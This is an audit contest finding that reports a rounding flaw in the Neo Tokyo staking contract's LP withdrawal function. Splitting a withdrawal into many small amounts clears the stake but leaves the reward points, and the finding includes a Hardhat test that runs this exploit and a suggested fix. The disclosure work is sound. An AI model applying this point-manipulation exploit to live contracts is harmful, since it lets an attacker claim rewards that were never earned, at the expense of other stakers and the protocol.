Neo Tokyo contest - Lirios's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1623

Vulnerability details

Impact

The NeoTokyoStaker.sol contract can be used to stake LPTokens to receive BYTES2 rewards. When staking the LPtoken, the amount of staked tokens is converted to points, which are stored in stakerLPPosition. Staking rewards are calculated based on points and not on actual amount.

After the minimal lock period, it is possible to withdraw the LPTokens. Due to a precision error in the _withdrawLP function, it is possible to withdraw the LPTokens, while leaving the points unchanged. After succesfully doing this, a user can claim rewards without stake.

Proof of Concept

When staking LPTokens, the points are calculated in NeoTokyoStaker.sol#L1155

uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

this is giving 100 points per LPToken. When withdrawing, the points to remove are calculated as NeoTokyoStaker.sol#L1623

uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

If amount * 100 is less then 1e18, the first part will be 0 and no points are removed.

A test has been added to show a succesful manipulation of points. It successfully does the following:

• stake LPToken for minimal duration (30 days)
• wait 30 days
• remove LPToken in small amounts to get stake amount to 0, while keeping points
• All LPTokens are now withdrawn, but points balance in NeoTokyoStaker is still set
• restake 1 wei for max stake duration to get maximum multiplier for the points
• claim rewards

diff --git a/test/NeoTokyoStaker.test.js b/test/NeoTokyoStaker.test.js
index 231f47d..54ac6c1 100644
--- a/test/NeoTokyoStaker.test.js
+++ b/test/NeoTokyoStaker.test.js
@@ -1882,6 +1882,83 @@ describe('Testing BYTES 2.0 & Neo Tokyo Staker', function () {
                                bobStakeTime = priorBlock.timestamp;
                        });

+
+                       // Test the LP token stake.
+                       it('LP token points can be manipulated', async function () { // @info bookmark
+
+                               // Prepare the unused nonCitizen user
+                               await LPToken.mint(nonCitizen.address, ethers.utils.parseEther('10'));
+                               await LPToken.connect(nonCitizen.signer).approve(
+                                       NTStaking.address,
+                                       ethers.constants.MaxUint256
+                               );
+
+                               // check if all is empty
+                               let Bytes2Balance = await NTBytes2_0.balanceOf(nonCitizen.address);
+                               let currentStake = await NTStaking.connect(nonCitizen.signer).stakerLPPosition(nonCitizen.address);
+
+                               Bytes2Balance.should.be.equal(0);
+                               currentStake.amount.should.be.equal(0);
+                               currentStake.points.should.be.equal(0);
+
+                               // stake 1 LP token for minimal period, expect 1 staked LP token and have 100 points.
+                               await NTStaking.connect(nonCitizen.signer).stake(
+                                       ASSETS.LP.id,
+                                       TIMELOCK_OPTION_IDS['30'],
+                                       ethers.utils.parseEther('1'),
+                                       0,0
+                               );
+                               currentStake = await NTStaking.stakerLPPosition(nonCitizen.address);
+                               currentStake.amount.should.be.equal(ethers.utils.parseEther('1'));
+                               currentStake.points.should.be.equal(100);
+
+                               //  Wait for lock period
+                               let priorBlockNumber = await ethers.provider.getBlockNumber();
+                               let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
+                               let myStakeTime = priorBlock.timestamp;
+                               await ethers.provider.send('evm_setNextBlockTimestamp', [
+                                       myStakeTime + (60 * 60 * 24 * 30) // 30 days
+                               ]);
+
+                               // lockperiod has passed, start withdraw in small amounts
+                               for(let i=0;i<=100;i++){
+                                       await NTStaking.connect(nonCitizen.signer).withdraw(ASSETS.LP.id,ethers.utils.parseEther('0.0099'));
+                               }
+                               // withdraw remailing balance
+                               await NTStaking.connect(nonCitizen.signer).withdraw(ASSETS.LP.id,ethers.utils.parseEther('0.0001'));
+                               currentStake = await NTStaking.stakerLPPosition(nonCitizen.address);
+                               currentStake.amount.should.be.equal(0); // amount == 0
+                               currentStake.points.should.be.equal(100); // still 100 points
+
+                               // amount is now 0, we can stake fake on another timelock to get maximum multiplier
+                               await NTStaking.connect(nonCitizen.signer).stake(
+                                       ASSETS.LP.id,
+                                       TIMELOCK_OPTION_IDS['1080'],
+                                       1, // 1 wei, minimal amount
+                                       0, 0
+                               );
+
+                               currentStake = await NTStaking.stakerLPPosition(nonCitizen.address);
+                               currentStake.amount.should.be.equal(1); // amount == 1 wei
+                               currentStake.points.should.be.equal(100); // still 100 points
+
+                               // get current balance
+                               Bytes2Balance = await NTBytes2_0.balanceOf(nonCitizen.address);
+                               Bytes2Balance.should.above(0);
+
+                               // skip a few blocks to get rewards for our empty 1 wei stake
+                               priorBlockNumber = await ethers.provider.getBlockNumber();
+                               priorBlock = await ethers.provider.getBlock(priorBlockNumber);
+                               myStakeTime = priorBlock.timestamp;
+                               await ethers.provider.send('evm_setNextBlockTimestamp', [myStakeTime + (60 * 60 * 24 * 5) ]); // 5 extra days
+
+                               await NTBytes2_0.getReward(nonCitizen.address);
+                               let newBytes2Balance = await NTBytes2_0.balanceOf(nonCitizen.address);
+                               newBytes2Balance.should.above(Bytes2Balance);  // we still receive staking rewards for out 1 wei.
+
+                       });
+

Tools Used

Manual review, hardhat

Recommended Mitigation Steps

The points calculation should use higher precicion to prevent these errors, and/or a minimal amount for staking and withdrawals could be required.